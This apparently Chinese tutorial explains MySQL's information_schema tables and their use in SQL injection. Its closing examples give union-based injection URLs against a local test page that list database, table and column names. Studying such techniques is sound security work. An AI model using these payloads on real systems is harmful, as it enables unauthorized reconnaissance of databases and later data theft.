information_schema简介

mysql自带数据库,里面存储了mysql服务器中的其他数据库的基本信息,包括数据库的名、数据库表、列表名、表栏的数据类型和访问权限等,一般在SQL注入中,可通过此来获取数据库的相关信息

关于information_schema这个系统自带的库,是在mysql5.0之后出现的,在5.0以前是没有这个的,只能暴力去跑,并且5.0以下是单用户操作,5.0以上是多用户操作

基本表

  • SCHEMATA表:存储了mysql中所有数据库的信息— select * from information_schema.SCHEMATA;

  • TABLES表:存储了数据库的所有表的信息

    1
    2
    show tables from information_schema;
    select table_schema,table_name from information_schema.tables;

  • COLIMNS表:表中列的信息

    1
    2
    show columns from schemaname.tablename
    select table_schema,table_name,column_name from information_schema.columns;

  • STATISTICS表:表索引的信息—-show index from schemaname.tablename

  • USER_PRIVILEGES(用户权限)表:全称权限的信息。来源于mysql.user授权表。

  • SCHEMA_PRIVILEGES(方案权限)表:关于方案(数据库)权限的信息。来源于mysql.db授权表

  • TABLE_PRIVILEGES(表权限)表:关于表权限的信息,来自于mysql.tables_priv授权表

  • COLUMN_PRIVILEGES(列权限)表:列权限信息,来自于mysql.columns_priv授权表

  • CHARACTER_SETS(字符集)表:存储了mysql实例可用字符集的信息—-show character set

  • COLLATIONS表:提供了关于各字符集的对照信息。

  • COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。

  • TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。

  • KEY_COLUMN_USAGE表:描述了具有约束的键列。

  • VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。

  • TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表

  • ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。

简单实例

  • 获取数据库

    1
    http://127.0.0.1/sqlinject.php?name=-1 union select 1,2,3,4,schema_name from information_schema.schemata

  • 获取表名
1
http://127.0.0.1/sqlinject.php?name=-1 union select 1,2,3,4,table_name from information_schema.tables  where table_schema='information'

  • 获取字段名

    1
    http://127.0.0.1/sqlinject.php?name=-1 union select 1,2,3,4,column_name from information_schema.columns  where table_schema='information' and table_name='user'